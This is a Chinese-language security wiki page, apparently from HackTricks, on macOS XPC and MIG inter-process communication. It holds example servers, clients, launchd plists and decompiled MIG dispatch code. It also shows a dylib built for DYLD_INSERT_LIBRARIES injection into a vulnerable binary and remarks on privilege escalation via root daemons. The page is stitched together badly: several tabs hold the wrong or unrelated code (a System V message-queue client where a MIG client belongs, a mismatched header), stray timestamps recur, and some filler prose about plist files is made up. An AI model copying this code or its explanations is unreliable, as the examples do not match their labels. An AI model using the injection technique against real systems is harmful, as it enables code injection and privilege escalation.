XPC代表XNUmacOS使用的内核进程间通信是macOS和iOS上进程之间通信的框架。XPC提供了一种在系统上进行安全、异步方法调用的机制。它是苹果安全范例的一部分允许创建权限分离的应用程序其中每个组件都以其工作所需的权限运行从而限制了受损进程可能造成的潜在损害。
XPC使用一种称为进程间通信IPC的方法用于在同一系统上运行的不同程序之间发送数据。
2023-08-03 19:12:22 +00:00
XPC的主要优点包括
2023-08-03 19:12:22 +00:00
1. **安全性**:通过将工作分离到不同的进程中,每个进程只能被授予其所需的权限。这意味着即使进程被入侵,它也只能有限地造成损害。
2. **稳定性**XPC帮助将崩溃隔离到发生崩溃的组件。如果一个进程崩溃可以重新启动而不影响系统的其他部分。
2023-08-03 19:12:22 +00:00
3. **性能**XPC允许轻松并发因为不同的任务可以在不同的进程中同时运行。
唯一的**缺点**是将一个应用程序分成多个进程通过XPC进行通信会**效率较低**。但在今天的系统中,这几乎不可察觉,而且好处更多。
2023-08-03 19:12:22 +00:00
### 应用程序特定的XPC服务
应用程序的XPC组件位于应用程序本身内部。例如在Safari中您可以在**`/Applications/Safari.app/Contents/XPCServices`**中找到它们。它们的扩展名为**`.xpc`**(例如**`com.apple.Safari.SandboxBroker.xpc`**),并且也是主要二进制文件的**捆绑包**`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`和一个`Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
正如您可能想到的,**XPC组件将具有不同的授权和权限**而不同于其他XPC组件或主应用程序二进制文件。除非XPC服务在其**Info.plist**文件中配置了[**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession)设置为“True”。在这种情况下XPC服务将在与调用它的应用程序**相同的安全会话中运行**。
XPC服务在需要时由**launchd**启动,并在所有任务完成后**关闭**以释放系统资源。**应用程序特定的XPC组件只能被应用程序利用**,从而降低了与潜在漏洞相关的风险。
2023-08-03 19:12:22 +00:00
### 系统范围的XPC服务
系统范围的XPC服务对所有用户都是可访问的。这些服务无论是launchd还是Mach类型都需要在指定目录中的plist文件中进行**定义**,例如**`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**或**`/Library/LaunchAgents`**。
这些plist文件将具有一个名为**`MachServices`**的键,其中包含服务的名称,以及一个名为**`Program`**的键,其中包含二进制文件的路径:
```xml
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
2023-08-03 19:12:22 +00:00
<key>Program</key>
<string>/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon</string>
<key>AbandonProcessGroup</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>com.jamf.management.daemon</string>
<key>MachServices</key>
<dict>
<key>com.jamf.management.daemon.aad</key>
<true/>
<key>com.jamf.management.daemon.agent</key>
<true/>
<key>com.jamf.management.daemon.binary</key>
<true/>
<key>com.jamf.management.daemon.selfservice</key>
<true/>
<key>com.jamf.management.daemon.service</key>
<true/>
</dict>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
```
2023-08-03 19:12:22 +00:00
**`LaunchDameons`**中的进程由root用户运行。因此如果一个非特权进程可以与其中一个进程通信它可能能够提升权限。
2023-08-03 19:12:22 +00:00
### XPC事件消息
应用程序可以订阅不同的事件消息,使它们能够在发生这些事件时按需启动。这些服务的设置是在**与前面的文件相同的目录中的launchd plist文件**中完成的,其中包含一个额外的**`LaunchEvent`**键。
2023-08-03 19:12:22 +00:00
### XPC连接进程检查
当一个进程尝试通过XPC连接调用一个方法时**XPC服务应该检查该进程是否被允许连接**。以下是检查的常见方式和常见陷阱:
{% content-ref url="macos-xpc-connecting-process-check.md" %}
[macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md)
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
### XPC授权
Apple还允许应用程序**配置一些权限以及如何获取这些权限**,因此如果调用进程具有这些权限,它将被**允许调用XPC服务的方法**
{% content-ref url="macos-xpc-authorization.md" %}
[macos-xpc-authorization.md](macos-xpc-authorization.md)
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
### C代码示例
{% tabs %}
{% tab title="xpc_server.c" %}
```c
// gcc xpc_server.c -o xpc_server
#include <xpc/xpc.h>
static void handle_event(xpc_object_t event) {
2023-08-03 19:12:22 +00:00
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
// Print received message
const char* received_message = xpc_dictionary_get_string(event, "message");
printf("Received message: %s\n", received_message);
2023-08-03 19:12:22 +00:00
// Create a response dictionary
xpc_object_t response = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(response, "received", "received");
2023-08-03 19:12:22 +00:00
// Send response
xpc_connection_t remote = xpc_dictionary_get_remote_connection(event);
xpc_connection_send_message(remote, response);
2023-08-03 19:12:22 +00:00
// Clean up
xpc_release(response);
}
}
static void handle_connection(xpc_connection_t connection) {
2023-08-03 19:12:22 +00:00
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
handle_event(event);
});
xpc_connection_resume(connection);
}
int main(int argc, const char *argv[]) {
2023-08-03 19:12:22 +00:00
xpc_connection_t service = xpc_connection_create_mach_service("xyz.hacktricks.service",
dispatch_get_main_queue(),
XPC_CONNECTION_MACH_SERVICE_LISTENER);
if (!service) {
fprintf(stderr, "Failed to create service.\n");
exit(EXIT_FAILURE);
}
xpc_connection_set_event_handler(service, ^(xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_CONNECTION) {
handle_connection(event);
}
});
xpc_connection_resume(service);
dispatch_main();
return 0;
}
```
{% tab title="xpc_client.c" %}
```c
#include <stdio.h>
#include <stdlib.h>
#include <xpc/xpc.h>
2023-08-03 19:12:22 +00:00
int main(int argc, const char * argv[]) {
xpc_connection_t connection = xpc_connection_create_mach_service("com.apple.securityd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
2023-08-03 19:12:22 +00:00
if (type == XPC_TYPE_DICTIONARY) {
const char *description = xpc_dictionary_get_string(event, "description");
printf("Received event: %s\n", description);
}
});
2023-08-03 19:12:22 +00:00
xpc_connection_resume(connection);
dispatch_main();
2023-08-03 19:12:22 +00:00
return 0;
}
```
{% endtab %}
2023-08-03 19:12:22 +00:00
{% tab title="xpc_server.c" %}
```c
// gcc xpc_client.c -o xpc_client
#include <xpc/xpc.h>
int main(int argc, const char *argv[]) {
2023-08-03 19:12:22 +00:00
xpc_connection_t connection = xpc_connection_create_mach_service("xyz.hacktricks.service", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
2023-08-03 19:12:22 +00:00
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
// Print received message
const char* received_message = xpc_dictionary_get_string(event, "received");
printf("Received message: %s\n", received_message);
}
});
2023-08-03 19:12:22 +00:00
xpc_connection_resume(connection);
2023-08-03 19:12:22 +00:00
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(message, "message", "Hello, Server!");
2023-08-03 19:12:22 +00:00
xpc_connection_send_message(connection, message);
2023-08-03 19:12:22 +00:00
dispatch_main();
return 0;
}
```
{% tab title="xyz.hacktricks.service.plist" %}xyz.hacktricks.service.plist是一个属性列表文件用于配置macOS系统中的服务。它定义了服务的名称、描述、启动方式和其他相关属性。在这个文件中你可以指定服务的执行路径、环境变量和启动参数。你还可以设置服务的启动顺序和依赖关系。通过编辑这个文件你可以定制和管理系统中的服务。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.service</string>
<key>MachServices</key>
2023-08-03 19:12:22 +00:00
<dict>
<key>xyz.hacktricks.service</key>
<true/>
</dict>
<key>Program</key>
2023-08-03 19:12:22 +00:00
<string>/tmp/xpc_server</string>
<key>ProgramArguments</key>
<array>
<string>/tmp/xpc_server</string>
</array>
</dict>
</plist>
```
{% endtab %}
{% endtabs %}
```bash
# Compile the server & client
gcc xpc_server.c -o xpc_server
gcc xpc_client.c -o xpc_client
# Save server on it's location
cp xpc_server /tmp
# Load daemon
sudo cp xyz.hacktricks.service.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
# Call client
./xpc_client
# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
```
2023-08-03 19:12:22 +00:00
### ObjectiveC 代码示例
{% tabs %}
{% tab title="oc_xpc_server.m" %}
```objectivec
// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
#include <Foundation/Foundation.h>
@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end
@interface MyXPCObject : NSObject <MyXPCProtocol>
@end
@implementation MyXPCObject
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply {
2023-08-03 19:12:22 +00:00
NSLog(@"Received message: %@", some_string);
NSString *response = @"Received";
reply(response);
}
@end
@interface MyDelegate : NSObject <NSXPCListenerDelegate>
@end
@implementation MyDelegate
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
2023-08-03 19:12:22 +00:00
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
2023-08-03 19:12:22 +00:00
MyXPCObject *my_object = [MyXPCObject new];
2023-08-03 19:12:22 +00:00
newConnection.exportedObject = my_object;
2023-08-03 19:12:22 +00:00
[newConnection resume];
return YES;
}
@end
int main(void) {
2023-08-03 19:12:22 +00:00
NSXPCListener *listener = [[NSXPCListener alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc"];
2023-08-03 19:12:22 +00:00
id <NSXPCListenerDelegate> delegate = [MyDelegate new];
listener.delegate = delegate;
[listener resume];
2023-08-03 19:12:22 +00:00
sleep(10); // Fake something is done and then it ends
}
```
{% tab title="oc_xpc_client.m" %}
## oc_xpc_client.m
2023-08-03 19:12:22 +00:00
```objective-c
#import <Foundation/Foundation.h>
#import <xpc/xpc.h>
int main(int argc, const char * argv[]) {
@autoreleasepool {
xpc_connection_t connection = xpc_connection_create_mach_service("com.apple.securityd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_DICTIONARY) {
const char *description = xpc_dictionary_get_string(event, "description");
if (description) {
printf("Received event: %s\n", description);
2023-08-03 19:12:22 +00:00
}
}
});
xpc_connection_resume(connection);
dispatch_main();
}
return 0;
}
```
### Description
This Objective-C code demonstrates how to create an XPC client that communicates with the `com.apple.securityd` Mach service. XPC (Inter-Process Communication) is a mechanism provided by macOS for processes to communicate with each other.
The code creates an XPC connection using `xpc_connection_create_mach_service` and specifies the target Mach service as `com.apple.securityd`. The `XPC_CONNECTION_MACH_SERVICE_PRIVILEGED` flag is used to indicate that the connection should be privileged.
An event handler is set using `xpc_connection_set_event_handler` to handle incoming events from the XPC service. In this example, the event handler checks if the event is a dictionary and retrieves the value associated with the key "description". If a description is found, it is printed to the console.
The connection is resumed using `xpc_connection_resume` to start the communication with the XPC service.
Finally, the `dispatch_main` function is called to start the main run loop and keep the program running.
### Usage
Compile the code using the following command:
```bash
clang -framework Foundation -o oc_xpc_client oc_xpc_client.m
```
Run the compiled binary:
```bash
./oc_xpc_client
```
The XPC client will connect to the `com.apple.securityd` service and print any received events with a description to the console.
### References
- [XPC Services](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html)
- [XPC Overview](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1)
- [XPC Connection API](https://developer.apple.com/documentation/xpc/xpc_connection_api)
{% endtab %}
```objectivec
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
#include <Foundation/Foundation.h>
@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end
int main(void) {
2023-08-03 19:12:22 +00:00
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc" options:NSXPCConnectionPrivileged];
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
[connection resume];
2023-08-03 19:12:22 +00:00
[[connection remoteObjectProxy] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
NSLog(@"Received response: %@", response);
}];
2023-08-03 19:12:22 +00:00
[[NSRunLoop currentRunLoop] run];
2023-08-03 19:12:22 +00:00
return 0;
}
```
{% tab title="xyz.hacktricks.svcoc.plist" %}xyz.hacktricks.svcoc.plist是一个属性列表文件用于配置macOS中的服务对象通信Service Object Communication简称SOC。SOC是一种进程间通信IPC机制允许不同进程之间相互通信和共享数据。该文件用于定义SOC的配置参数包括服务名称、通信方式、权限等。通过修改该文件可以对SOC进行定制和加固以增强macOS的安全性和特权升级防护。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.svcoc</string>
<key>MachServices</key>
2023-08-03 19:12:22 +00:00
<dict>
<key>xyz.hacktricks.svcoc</key>
<true/>
</dict>
<key>Program</key>
2023-08-03 19:12:22 +00:00
<string>/tmp/oc_xpc_server</string>
<key>ProgramArguments</key>
<array>
<string>/tmp/oc_xpc_server</string>
</array>
</dict>
</plist>
```
{% endtab %}
{% endtabs %}
```bash
# Compile the server & client
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
# Save server on it's location
cp oc_xpc_server /tmp
# Load daemon
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
# Call client
./oc_xpc_client
# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
```
### Dylib代码中的客户端
In macOS, a dylib (dynamic library) is a shared library that contains code and data that can be used by multiple applications at runtime. Dylibs are commonly used for code reuse and modularity in macOS applications.
在macOS中dylib动态库是一个共享库其中包含可以在运行时由多个应用程序使用的代码和数据。Dylib通常用于macOS应用程序中的代码重用和模块化。
When a dylib is loaded into an application, it becomes part of the application's address space and can be accessed by the application's code. This allows the application to call functions and use data defined in the dylib.
当一个dylib被加载到应用程序中时它成为应用程序地址空间的一部分并且可以被应用程序的代码访问。这使得应用程序可以调用在dylib中定义的函数和使用数据。
In some cases, a dylib may include a client that is intended to be used by other applications. This client code can be called by other applications to perform specific tasks or access certain functionality provided by the dylib.
在某些情况下dylib可能包含一个客户端该客户端旨在被其他应用程序使用。其他应用程序可以调用此客户端代码来执行特定任务或访问dylib提供的某些功能。
The client code inside a dylib can be written in any programming language supported by macOS, such as C, Objective-C, or Swift. It can interact with the application that loaded the dylib through various mechanisms, such as function calls, notifications, or inter-process communication (IPC).
dylib中的客户端代码可以使用macOS支持的任何编程语言编写例如C、Objective-C或Swift。它可以通过各种机制与加载了dylib的应用程序进行交互例如函数调用、通知或进程间通信IPC
When developing a dylib with a client, it is important to consider security implications and ensure that the client code is designed to be used safely by other applications. This includes validating inputs, handling errors gracefully, and protecting sensitive data.
在开发带有客户端的dylib时重要的是要考虑安全性问题并确保客户端代码被设计为可以被其他应用程序安全使用。这包括验证输入、优雅地处理错误和保护敏感数据。
```
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
// gcc injection example:
// DYLD_INSERT_LIBRARIES=oc_xpc_client.dylib /path/to/vuln/bin
#import <Foundation/Foundation.h>
@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end
__attribute__((constructor))
static void customConstructor(int argc, const char **argv)
{
NSString* _serviceName = @"xyz.hacktricks.svcoc";
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)]];
[_agentConnection resume];
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
NSLog(@"Received response: %@", response);
} ];
NSLog(@"Done!");
return;
}
```
## MIG - Mach接口生成器
MIG被创建出来是为了简化Mach IPC代码的创建过程。它基本上会根据给定的定义生成服务器和客户端之间通信所需的代码。即使生成的代码很丑陋开发者只需要导入它他的代码将比以前简单得多。
### 示例
创建一个定义文件,这里是一个非常简单的函数:
{% code title="myipc.defs" %}
```cpp
subsystem myipc 500; // Arbitrary name and id
userprefix USERPREF; // Prefix for created functions in the client
serverprefix SERVERPREF; // Prefix for created functions in the server
#include <mach/mach_types.defs>
#include <mach/std_types.defs>
simpleroutine Subtract(
server_port : mach_port_t;
n1 : uint32_t;
n2 : uint32_t);
```
{% endcode %}
现在使用mig生成服务器和客户端代码它们将能够相互通信以调用Subtract函数
```bash
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
```
当前目录中将创建几个新文件。
在文件**`myipcServer.c`**和**`myipcServer.h`**中,您可以找到结构体**`SERVERPREFmyipc_subsystem`**的声明和定义该结构体基本上定义了根据接收到的消息ID调用的函数我们指定了起始编号为500
{% tabs %}
{% tab title="myipcServer.c" %}
```c
/* Description of this subsystem, for use in direct RPC */
const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = {
myipc_server_routine,
500, // start ID
501, // end ID
(mach_msg_size_t)sizeof(union __ReplyUnion__SERVERPREFmyipc_subsystem),
(vm_address_t)0,
{
{ (mig_impl_routine_t) 0,
// Function to call
(mig_stub_routine_t) _XSubtract, 3, 0, (routine_arg_descriptor_t)0, (mach_msg_size_t)sizeof(__Reply__Subtract_t)},
}
};
```
{% tab title="myipcServer.h" %}
```c
#ifndef MYIPCSERVER_H
#define MYIPCSERVER_H
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define MAX_TEXT_SIZE 512
struct mymsgbuf {
long mtype;
char mtext[MAX_TEXT_SIZE];
};
#endif /* MYIPCSERVER_H */
```
{% endtab %}
```c
/* Description of this subsystem, for use in direct RPC */
extern const struct SERVERPREFmyipc_subsystem {
mig_server_routine_t server; /* Server routine */
mach_msg_id_t start; /* Min routine number */
mach_msg_id_t end; /* Max routine number + 1 */
unsigned int maxsize; /* Max msg size */
vm_address_t reserved; /* Reserved */
struct routine_descriptor /* Array of routine descriptors */
routine[1];
} SERVERPREFmyipc_subsystem;
```
{% endtab %}
{% endtabs %}
根据前面的结构,函数**`myipc_server_routine`**将获取**消息ID**并返回要调用的适当函数:
```c
mig_external mig_routine_t myipc_server_routine
(mach_msg_header_t *InHeadP)
{
int msgh_id;
msgh_id = InHeadP->msgh_id - 500;
if ((msgh_id > 0) || (msgh_id < 0))
return 0;
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
}
```
在这个例子中,我们只在定义中定义了一个函数,但如果我们定义了更多的函数,它们将会在**`SERVERPREFmyipc_subsystem`**的数组中并且第一个函数将被分配到ID **500**第二个函数将被分配到ID **501**...
实际上,我们可以在**`myipcServer.h`**中的**`subsystem_to_name_map_myipc`**结构体中识别出这种关系:
```c
#ifndef subsystem_to_name_map_myipc
#define subsystem_to_name_map_myipc \
{ "Subtract", 500 }
#endif
```
最后,使服务器工作的另一个重要函数将是**`myipc_server`**它是实际上调用与接收到的id相关的函数的函数
```c
mig_external boolean_t myipc_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
{
/*
* typedef struct {
* mach_msg_header_t Head;
* NDR_record_t NDR;
* kern_return_t RetCode;
* } mig_reply_error_t;
*/
mig_routine_t routine;
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
/* 最小大小如果不同routine()将更新它 */
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
OutHeadP->msgh_local_port = MACH_PORT_NULL;
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
OutHeadP->msgh_reserved = 0;
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
return FALSE;
}
(*routine) (InHeadP, OutHeadP);
return TRUE;
}
```
检查以下代码使用生成的代码创建一个简单的服务器和客户端其中客户端可以调用服务器的Subtract函数
{% tabs %}
{% tab title="myipc_server.c" %}
```c
// gcc myipc_server.c myipcServer.c -o myipc_server
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
#include "myipcServer.h"
kern_return_t SERVERPREFSubtract(mach_port_t server_port, uint32_t n1, uint32_t n2)
{
printf("Received: %d - %d = %d\n", n1, n2, n1 - n2);
return KERN_SUCCESS;
}
int main() {
mach_port_t port;
kern_return_t kr;
// Register the mach service
kr = bootstrap_check_in(bootstrap_port, "xyz.hacktricks.mig", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_check_in() failed with code 0x%x\n", kr);
return 1;
}
// myipc_server is the function that handles incoming messages (check previous exlpanation)
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
}
```
{% tab title="myipc_client.c" %}
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define MAX_TEXT 512
struct my_msg_st {
long int my_msg_type;
char some_text[MAX_TEXT];
};
int main() {
int running = 1;
struct my_msg_st some_data;
int msgid;
char buffer[BUFSIZ];
// Create a message queue
msgid = msgget((key_t)1234, 0666 | IPC_CREAT);
if (msgid == -1) {
fprintf(stderr, "msgget failed\n");
exit(EXIT_FAILURE);
}
while (running) {
printf("Enter some text: ");
fgets(buffer, BUFSIZ, stdin);
some_data.my_msg_type = 1;
strcpy(some_data.some_text, buffer);
// Send the message
if (msgsnd(msgid, (void *)&some_data, MAX_TEXT, 0) == -1) {
fprintf(stderr, "msgsnd failed\n");
exit(EXIT_FAILURE);
}
// Exit the loop if "end" is entered
if (strncmp(buffer, "end", 3) == 0) {
running = 0;
}
}
// Delete the message queue
if (msgctl(msgid, IPC_RMID, 0) == -1) {
fprintf(stderr, "msgctl(IPC_RMID) failed\n");
exit(EXIT_FAILURE);
}
exit(EXIT_SUCCESS);
}
```
{% endtab %}
```c
// gcc myipc_client.c myipcUser.c -o myipc_client
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
#include "myipcUser.h"
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "xyz.hacktricks.mig", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("Port right name %d\n", port);
USERPREFSubtract(port, 40, 2);
}
```
## 二进制分析
由于许多二进制文件现在使用MIG来公开mach端口了解如何**识别使用了MIG**以及每个消息ID执行的**MIG函数**是很有趣的。
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2)可以解析Mach-O二进制文件中的MIG信息指示消息ID并识别要执行的函数
```bash
jtool2 -d __DATA.__const myipc_server | grep MIG
```
先前提到负责根据接收到的消息ID调用正确函数的函数是`myipc_server`。然而,通常你不会有二进制文件的符号(没有函数名),所以了解反编译后的函数是什么样子很有意思,因为它们总是非常相似(该函数的代码与暴露的函数无关):
{% tabs %}
{% tab title="myipc_server反编译 1" %}
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
var_10 = arg0;
var_18 = arg1;
// 初始指令以找到正确的函数指针
*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
*(int32_t *)(var_18 + 0x10) = 0x0;
if (*(int32_t *)(var_10 + 0x14) &#x3C;= 0x1f4 &#x26;&#x26; *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// 调用sign_extend_64函数有助于识别该函数
// 这将在rax中存储需要调用的调用的指针
// 检查地址0x100004040的使用函数地址数组
// 0x1f4 = 500起始ID
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
</strong> var_20 = rax;
// 如果-否则if返回false而else调用正确的函数并返回true
<strong> if (rax == 0x0) {
</strong> *(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
var_4 = 0x0;
}
else {
// 计算的地址调用具有2个参数的正确函数
<strong> (var_20)(var_10, var_18);
</strong> var_4 = 0x1;
}
}
else {
*(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
var_4 = 0x0;
}
rax = var_4;
return rax;
}
</code></pre>
{% endtab %}
{% tab title="myipc_server反编译 2" %}
这是在不同版本的Hopper free中反编译的相同函数
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
r31 = r31 - 0x40;
saved_fp = r29;
stack[-8] = r30;
var_10 = arg0;
var_18 = arg1;
// 初始指令以找到正确的函数指针
*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
*(int32_t *)(var_18 + 0x10) = 0x0;
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
if (r8 > 0x0) {
if (CPU_FLAGS &#x26; G) {
r8 = 0x1;
}
}
if ((r8 &#x26; 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
if (r8 &#x3C; 0x0) {
if (CPU_FLAGS &#x26; L) {
r8 = 0x1;
}
}
if ((r8 &#x26; 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
// 0x1f4 = 500起始ID
<strong> r8 = r8 - 0x1f4;
</strong> asm { smaddl x8, w8, w9, x10 };
r8 = *(r8 + 0x8);
var_20 = r8;
r8 = r8 - 0x0;
if (r8 != 0x0) {
if (CPU_FLAGS &#x26; NE) {
r8 = 0x1;
}
}
// 与上一个版本相同的if else
// 检查地址0x100004040的使用函数地址数组
<strong> if ((r8 &#x26; 0x1) == 0x0) {
</strong><strong> *(var_18 + 0x18) = **0x100004000;
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
}
else {
// 调用计算的地址,该地址应该是函数
<strong> (var_20)(var_10, var_18);
</strong> var_4 = 0x1;
}
}
else {
*(var_18 + 0x18) = **0x100004000;
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
}
}
else {
*(var_18 + 0x18) = **0x100004000;
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
}
r0 = var_4;
return r0;
}
</code></pre>
{% endtab %}
{% endtabs %}
实际上,如果你转到函数**`0x100004000`**,你会找到**`routine_descriptor`**结构体的数组,结构体的第一个元素是函数实现的地址,**结构体占用0x28字节**所以每0x28字节从字节0开始你可以得到8字节那就是将要调用的**函数的地址**
<figure><img src="../../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
可以使用[**这个Hopper脚本**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)提取这些数据。
2023-08-03 19:12:22 +00:00
## 参考资料
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
